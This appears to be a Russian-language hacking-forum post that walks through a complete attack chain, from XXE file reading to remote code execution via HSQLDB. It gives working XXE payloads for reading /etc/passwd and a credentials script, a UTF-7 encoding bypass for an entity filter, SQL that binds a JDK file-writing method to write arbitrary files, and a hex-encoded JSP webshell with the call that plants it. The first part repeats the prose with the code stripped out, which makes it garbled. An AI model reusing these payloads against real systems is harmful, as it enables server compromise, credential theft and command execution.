D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Инъекция внешних сущностей XML (XXE) – это не просто теоретическая уязвимость. Это реальный вектор атаки, позволяющий злоумышленникам, при неправильной настройке XML-парсеров, перейти от простой утечки файлов к удаленному выполнению кода (RCE). В современных корпоративных Java-приложениях уязвимость XXE в сочетании с функционалом встроенных баз данных, таких как HSQLDB, может предоставить атакующему возможность чтения файлов, извлечения учетных данных БД и, в конечном итоге, вызова произвольных Java-методов для записи файлов и выполнения кода на сервере.
В данной статье мы рассмотрим полный технический сценарий атаки: от подтверждения XXE с помощью тестового запроса до чтения системных файлов, получения учетных данных БД из конфигурационных скриптов, подключения к HSQLDB, использования SQL и Java для достижения удаленного выполнения кода. Также мы обсудим важность методов кодирования (обфускации) для обхода примитивной фильтрации по слову
Каждый шаг подробно продемонстрирован с использованием конкретных примеров кода и последовательностей команд, чтобы показать процесс на практике.
P.S. Эта статья написана как продолжение к ХХЕ и дополнение к интересным методикам связнные с SQL
Код: Скопировать в буфер обмена
Ожидаемый ответ сервера:
Если в ответе поле
Например, если вы увидите:
Код: Скопировать в буфер обмена
Теперь вы знаете, что сервер применяет вашу декларацию
Код: Скопировать в буфер обмена
Если всё прошло успешно, ответ может содержать
Код: Скопировать в буфер обмена
Это доказывает, что сервер может читать произвольные файлы, к которым у него есть доступ.
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
Предположим, мы обнаружили
Код: Скопировать в буфер обмена
Ожидаемый ответ:
Код: Скопировать в буфер обмена
Теперь у нас есть:
- URL БД:
- Пользователь:
- Пароль:
Это открывает путь к прямому доступу к базе данных.
Код: Скопировать в буфер обмена
В целом, обход оказался удачным
Имея учетные данные, мы подключаемся к HSQLDB. Используем
Код: Скопировать в буфер обмена
После успешного входа проверяем:
Код: Скопировать в буфер обмена
Если мы видим список таблиц, значит успешно.
Изображение [1]
В HSQLDB пользовательские функции могут быть зарегистрированы с помощью SQL-операторов типа CREATE FUNCTION. При регистрации вы указываете имя Java-класса и имя статического метода, который будет использоваться в качестве реализации данной функции.
Код: Скопировать в буфер обмена
В данном примере myStaticMethod — это статический метод класса com.example.MyFunctions.
Принципиально важно, что HSQLDB не создаёт экземпляр класса для вызова функции. Вместо этого он напрямую вызывает статический метод с заданными параметрами.
CLASSPATH — это параметр запуска виртуальной машины Java (JVM), определяющий пути к директориям и JAR-файлам, в которых JVM будет искать классы во время выполнения программы. Когда вы запускаете приложение или работу с СУБД на Java (например, HSQLDB), JVM должна знать, где найти необходимые классы для выполнения заданного кода. Когда СУБД пытается вызвать некий класс (например, класс, содержащий статический метод для HSQLDB), JVM должна понять, где этот класс расположен. Если класс не находится в стандартной библиотеке, то JVM ищет его в путях, перечисленных в CLASSPATH.
В старых версиях Java (до Java 9) практически все основные классы стандартной библиотеки (Java Standard Edition, SE) хранились в специальном JAR-файле под названием rt.jar (runtime). Это сокращение от "runtime", то есть исполнения. Примерно начиная с JDK 1.2 и до JDK 8 включительно, rt.jar был центральным файлом, в котором находились все базовые классы, такие как классы из пакетов java.lang, java.util, java.io, а также многие другие. Проще говоря, это "ядро" стандартной библиотеки Java. HSQLDB, будучи обычной Java-библиотекой, просто использует эти классы через стандартный механизм загрузки классов JVM.
Для начала посмотрим classpath. Создадим функцию для вызова
Код: Скопировать в буфер обмена
Пример ответа:
Код: Скопировать в буфер обмена
Мы видим
Чтобы достичь RCE, нам нужен статический метод, дающий возможность либо выполнить код, либо записать файл на сервер. Напрямую вызвать
Появляется вопрос, где найти этот статический метод?
Когда вы запускаете Java-приложение, JVM гарантирует, что стандартные Java-классы всегда загружаются и доступны, независимо от того, какие внешние JAR-файлы подключены.
Даже если ваше приложение указывает hsqldb.jar, JVM интегрирует её вместе с основными Java-классами. Эта интеграция позволяет Java-процессу использовать как внешние классы из hsqldb.jar, так и стандартные классы из основных библиотек. По этой причине, декомпилируем rt.jar и открываем в vscode.
Изображение [2]Нигде такое не утверждается, и возможно я не прав, но тут такая тема. Функций и так много, искать займёт достаточно много времени, из-за этого нужно сперва понять лимиты. А лимиты здесь, это типы данных которые дают и принимают HSQLDB и JAVA. Например, в Java есть byte, а в HSQLDB есть binary. Значит если какая та функция принимает байт, то можно создать функцию в HSQLDB которая примет binary. Если подумать логично, нам нужно передать файл и функция которая принимает файл, наверняка будет работать с стринг и/или байт. Возможно примет контент и имя файла как стринг, возможно примет один как стринг, другой как байт. Из-за этого я думаю логичней было бы поискать именно:
Изображение [3]Функций всего 5, 3 из них для работы с сетью, 1 нужен для управления бинарными данными, остаётся только writeBytesToFilename.
Код: Скопировать в буфер обмена
paramString -имя файла или полный путь к файлу. paramArrayOfbyte - Массив байтов, который содержит данные для записи в файл. С помощью FileOutputStream открывается поток для записи в файл. Метод write из FileOutputStream записывает массив байтов в файл. После успешной записи поток закрывается с помощью fileOutputStream.close().
Отсюда и появился этот знаменитый пэйлоад.
Функция используется для выполнения вычислений и возврата значения, например, для обработки данных. Всегда возвращает одно значение. Вызывается в SQL-выражении, например, в SELECT.
Метод writeBytesToFilename является void. , это означает что метод не возвращает значения. Значит нам нужно использовать PROCEDURE.
Свяжем метод
Код: Скопировать в буфер обмена
Теперь вызов:
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
Получим:
Код: Скопировать в буфер обмена
Мы подтвердили возможность произвольной записи файлов.
Код: Скопировать в буфер обмена
Записываем
Код: Скопировать в буфер обмена
Кодируем JSP в hex и вызываем:
Код: Скопировать в буфер обмена
Затем переходим в браузере:
Код: Скопировать в буфер обмена
В данной статье мы рассмотрим полный технический сценарий атаки: от подтверждения XXE с помощью тестового запроса до чтения системных файлов, получения учетных данных БД из конфигурационных скриптов, подключения к HSQLDB, использования SQL и Java для достижения удаленного выполнения кода. Также мы обсудим важность методов кодирования (обфускации) для обхода примитивной фильтрации по слову
<!ENTITY>
.Каждый шаг подробно продемонстрирован с использованием конкретных примеров кода и последовательностей команд, чтобы показать процесс на практике.
P.S. Эта статья написана как продолжение к ХХЕ и дополнение к интересным методикам связнные с SQL
Подтверждение XXE
Первоначально мы отправляем к API тестовый XML-запрос с внешней сущностью, чтобы проверить, обрабатывается ли она парсером:Код: Скопировать в буфер обмена
Код:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xss "ReplacedSuccess">
]>
<org.X.S.S.People>
<origin>&xss;</origin>
<userName>Str</userName>
</org.X.S.S.People>
Если в ответе поле
lastName
будет заменено наReplacedSuccess
, это подтвердит, что сущность&lastname;
была разрешена на стороне сервера, а значит XXE возможна.Например, если вы увидите:
Код: Скопировать в буфер обмена
Код:
<org.X.S.S.People>
<origin>ReplacedSuccess</origin>
<userName>Str</userName>
</org.X.S.S.People>
Теперь вы знаете, что сервер применяет вашу декларацию
<!DOCTYPE>
и обрабатывает внешние сущности.Переход к чтению файлов на сервере
Получив подтверждение XXE, мы меняем сущность на загрузку локального файла. Классический тест – чтение/etc/passwd
:Код: Скопировать в буфер обмена
Код:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xss SYSTEM "file://etc/passwd">
]>
<org.X.S.S.People>
<origin>&xss;</origin>
<userName>Str</userName>
</org.X.S.S.People>
/etc/passwd
:Код: Скопировать в буфер обмена
Код:
<org.X.S.S.People>
<origin>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
</origin>
<userName>Str</userName>
</org.X.S.S.People>
Это доказывает, что сервер может читать произвольные файлы, к которым у него есть доступ.
Поиск конфигурационных файлов
Обладая способностью читать файлы, мы можем прицельно искать конфигурации. Часто учетные данные к базе данных хранятся в сценариях или файлах настроек. Особенно если приложение написано в JAVA.Код: Скопировать в буфер обмена
Код:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xss SYSTEM "file:///home">
]>
<org.X.S.S.People>
<origin>&xss;</origin>
<userName>Str</userName>
</org.X.S.S.People>
Код: Скопировать в буфер обмена
Код:
<org.X.S.S.People>
<origin>userXSS
adminXSS
...
</origin>
<userName>Str</userName>
</org.X.S.S.People>
/home/userXSS/xss/db/hsqldb/dbmanager.sh
. Попробуем его прочесть:Код: Скопировать в буфер обмена
Код:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xss SYSTEM "file:///home/userXSS/xss/db/hsqldb/dbmanager.sh">
]>
<org.X.S.S.People>
<origin>&xss;</origin>
<userName>Str</userName>
</org.X.S.S.People>
Код: Скопировать в буфер обмена
Код:
#!/bin/sh
# dbmanager.sh: содержит учетные данные БД
export DB_URL="jdbc:hsqldb:hsql://127.0.0.1:9001/XSS"
export DB_USER="sa"
export DB_PASS="XeXeXe"
- URL БД:
jdbc:hsqldb:hsql://127.0.0.1:9001/XSS
- Пользователь:
sa
- Пароль:
XeXeXe
Это открывает путь к прямому доступу к базе данных.
Проблемка
Значит проблема этой системы была в том что, разрабы сделали кастомную безопасность, которая не разрешает использовать<!ENTITY
. Я вместо того чтобы сразу открыть хектрикс, начал использовать страннейшие идеи, под конец оказывается решение было простое...даже слишком.Код: Скопировать в буфер обмена
Код:
<?xml version="1.0"?>
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+AAo-+ADw-+ACE-ELEMENT+ACA-foo+ACA-ANY+AD4-+AAo-+ADw-+ACE-ENTITY+ACA-xss+ACA-SYSTEM+ACA-+ACI-file:///home/userXSS/xss/db/hsqldb/dbmanager.sh+ACI-+AD4-+AAo-+AF0-+AD4-+AAo-+ADw-org.X.S.S.People+AD4-+AAo-+ACA-+ACA-+ADw-origin+AD4-+ACY-xss+ADs-+ADw-/origin+AD4-+AAo-+ACA-+ACA-+ADw-userName+AD4-Str+ADw-/userName+AD4-+AAo-+ADw-/org.X.S.S.People+AD4-
Подключение к HSQLDB
HSQLDB (HyperSQL DataBase) — это встраиваемая реляционная СУБД на языке Java с открытым исходным кодом.Имея учетные данные, мы подключаемся к HSQLDB. Используем
hsqldb.jar
и утилитуSqlTool
. Сам hsqldb.jar я взял с сервера. Также учтите что если вы подняли приложение в докер, то можете воспользоваться sqltool.jar чтобы потестить через CLI:Код: Скопировать в буфер обмена
Код:
java -jar sqltool.jar inlineRc=url=jdbc:hsqldb:hsql://127.0.0.1:9001/XSS,user=sa
## password=XeXeXe
Код: Скопировать в буфер обмена
sql> SELECT * FROM INFORMATION_SCHEMA.TABLES;
Если мы видим список таблиц, значит успешно.
Изображение [1]
Откуда появился пэйлоад?
HSQLDB позволяет создавать внешние процедуры и функции, вызывающие статические Java-методы. Это не теоретическая возможность – она задокументирована и широко известна. В отсутствие жестких ограничений безопасности можно вызвать практически любой статический метод в доступных классах. Я не програмист и естественно появляется вопрос, что такое статическая функция и откуда их можно найти.В HSQLDB пользовательские функции могут быть зарегистрированы с помощью SQL-операторов типа CREATE FUNCTION. При регистрации вы указываете имя Java-класса и имя статического метода, который будет использоваться в качестве реализации данной функции.
Код: Скопировать в буфер обмена
Код:
CREATE FUNCTION MY_FUNC(PARAM1 VARCHAR(50))
RETURNS INT
LANGUAGE JAVA
DETERMINISTIC
NO SQL
EXTERNAL NAME 'CLASSPATH:com.example.MyFunctions.myStaticMethod';
Принципиально важно, что HSQLDB не создаёт экземпляр класса для вызова функции. Вместо этого он напрямую вызывает статический метод с заданными параметрами.
CLASSPATH — это параметр запуска виртуальной машины Java (JVM), определяющий пути к директориям и JAR-файлам, в которых JVM будет искать классы во время выполнения программы. Когда вы запускаете приложение или работу с СУБД на Java (например, HSQLDB), JVM должна знать, где найти необходимые классы для выполнения заданного кода. Когда СУБД пытается вызвать некий класс (например, класс, содержащий статический метод для HSQLDB), JVM должна понять, где этот класс расположен. Если класс не находится в стандартной библиотеке, то JVM ищет его в путях, перечисленных в CLASSPATH.
В старых версиях Java (до Java 9) практически все основные классы стандартной библиотеки (Java Standard Edition, SE) хранились в специальном JAR-файле под названием rt.jar (runtime). Это сокращение от "runtime", то есть исполнения. Примерно начиная с JDK 1.2 и до JDK 8 включительно, rt.jar был центральным файлом, в котором находились все базовые классы, такие как классы из пакетов java.lang, java.util, java.io, а также многие другие. Проще говоря, это "ядро" стандартной библиотеки Java. HSQLDB, будучи обычной Java-библиотекой, просто использует эти классы через стандартный механизм загрузки классов JVM.
Для начала посмотрим classpath. Создадим функцию для вызова
System.getProperty()
:Код: Скопировать в буфер обмена
Код:
CREATE FUNCTION xss1(key VARCHAR) RETURNS VARCHAR
LANGUAGE JAVA DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty';
SELECT xss1('java.class.path') FROM (VALUES(0));
Код: Скопировать в буфер обмена
Код:
+----------------------------+
| SYSTEMPROP |
+----------------------------+
| ./hsqldb.jar |
+----------------------------+
hsqldb.jar
в classpath, а значит можем пользоваться классами из него и связанных библиотек.Чтобы достичь RCE, нам нужен статический метод, дающий возможность либо выполнить код, либо записать файл на сервер. Напрямую вызвать
Runtime.getRuntime().exec()
сложно из-за ограничений типов параметров и возможных ограничений.Появляется вопрос, где найти этот статический метод?
Когда вы запускаете Java-приложение, JVM гарантирует, что стандартные Java-классы всегда загружаются и доступны, независимо от того, какие внешние JAR-файлы подключены.
Даже если ваше приложение указывает hsqldb.jar, JVM интегрирует её вместе с основными Java-классами. Эта интеграция позволяет Java-процессу использовать как внешние классы из hsqldb.jar, так и стандартные классы из основных библиотек. По этой причине, декомпилируем rt.jar и открываем в vscode.
Изображение [2]
public static \w+ \w+\(String.*byte\[\].*\)
Изображение [3]
Код: Скопировать в буфер обмена
Код:
public static void writeBytesToFilename(String paramString, byte[] paramArrayOfbyte) {
FileOutputStream fileOutputStream = null;
try {
if (paramString != null && paramArrayOfbyte != null) {
File file = new File(paramString);
fileOutputStream = new FileOutputStream(file);
fileOutputStream.write(paramArrayOfbyte);
fileOutputStream.close();
} else if (log.isLoggable(Level.FINE)) {
log.log(Level.FINE, "writeBytesToFilename got null byte[] pointed");
}
} catch (IOException iOException) {
if (fileOutputStream != null)
try {
fileOutputStream.close();
} catch (IOException iOException1) {
if (log.isLoggable(Level.FINE))
log.log(Level.FINE, iOException1.getMessage(), iOException1);
}
}
}
Отсюда и появился этот знаменитый пэйлоад.
Создание процедуры в HSQLDB, вызывающей метод Java
Процедура используется для выполнения действий, таких как вставка, обновление или удаление данных. Не возвращает значения напрямую, но может возвращать параметры типа OUT. Вызывается с помощью команды CALL.Функция используется для выполнения вычислений и возврата значения, например, для обработки данных. Всегда возвращает одно значение. Вызывается в SQL-выражении, например, в SELECT.
Метод writeBytesToFilename является void. , это означает что метод не возвращает значения. Значит нам нужно использовать PROCEDURE.
Свяжем метод
writeBytesToFilename
с процедурой SQL:Код: Скопировать в буфер обмена
Код:
CREATE PROCEDURE check2(IN fname VARCHAR, IN fdata VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename';
Теперь вызов:
Код: Скопировать в буфер обмена
CALL check2('/tmp/hello.txt', CAST('48656c6c6f0a' AS VARBINARY(1024)));
48656c6c6f0a
– это "Hello" в hex. Проверяем файл:Код: Скопировать в буфер обмена
cat /tmp/hello.txt
Получим:
Код: Скопировать в буфер обмена
Hello
Мы подтвердили возможность произвольной записи файлов.
Запись JSP-webshell для RCE
Чтобы получить RCE, нам нужно записать JSP-файл в веб-каталог приложения. Предположим, что веб-приложение развернуто в каталоге:Код: Скопировать в буфер обмена
/opt/tomee/webapps/XSS/
Записываем
shell.jsp
туда. Пример простейшего JSP-шелла:Код: Скопировать в буфер обмена
Код:
https://gist.githubusercontent.com/nikallass/5ceef8c8c02d58ca2c69a29a92d2f461/raw/8656cc80ace93c8095b0c7d0c45b917d542fed5c/cmd.jsp
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p;
if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
}
else{
p = Runtime.getRuntime().exec(request.getParameter("cmd"));
}
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
Код: Скопировать в буфер обмена
call check2('../../../../../../../opt/tomee/apps/XSS/XSS.jsp', cast('3C2540207061676520696D706F72743D226A6176612E7574696C2E2A2C6A6176612E696F2E2A22253E0A3C250A253E0A3C48544D4C3E3C424F44593E0A436F6D6D616E64732077697468204A53500A3C464F524D204D4554484F443D2247455422204E414D453D226D79666F726D2220414354494F4E3D22223E0A3C494E50555420545950453D227465787422204E414D453D22636D64223E0A3C494E50555420545950453D227375626D6974222056414C55453D2253656E64223E0A3C2F464F524D3E0A3C7072653E0A3C250A69662028726571756573742E676574506172616D657465722822636D64222920213D206E756C6C29207B0A202020206F75742E7072696E746C6E2822436F6D6D616E643A2022202B20726571756573742E676574506172616D657465722822636D642229202B20223C42523E22293B0A0A2020202050726F6365737320703B0A20202020696620282053797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E696E6465784F66282277696E646F7773222920213D202D31297B0A202020202020202070203D2052756E74696D652E67657452756E74696D6528292E657865632822636D642E657865202F432022202B20726571756573742E676574506172616D657465722822636D642229293B0A202020207D0A20202020656C73657B0A202020202020202070203D2052756E74696D652E67657452756E74696D6528292E6578656328726571756573742E676574506172616D657465722822636D642229293B0A202020207D0A202020204F757470757453747265616D206F73203D20702E6765744F757470757453747265616D28293B0A20202020496E70757453747265616D20696E203D20702E676574496E70757453747265616D28293B0A2020202044617461496E70757453747265616D20646973203D206E65772044617461496E70757453747265616D28696E293B0A20202020537472696E672064697372203D206469732E726561644C696E6528293B0A202020207768696C652028206469737220213D206E756C6C2029207B0A202020206F75742E7072696E746C6E2864697372293B0A2020202064697372203D206469732E726561644C696E6528293B0A202020207D0A7D0A253E0A3C2F7072653E0A3C2F424F44593E3C2F48544D4C3E0A' as VARBINARY(2048)))
Затем переходим в браузере:
Код: Скопировать в буфер обмена
http://target/XSS/XSS.jsp?cmd=id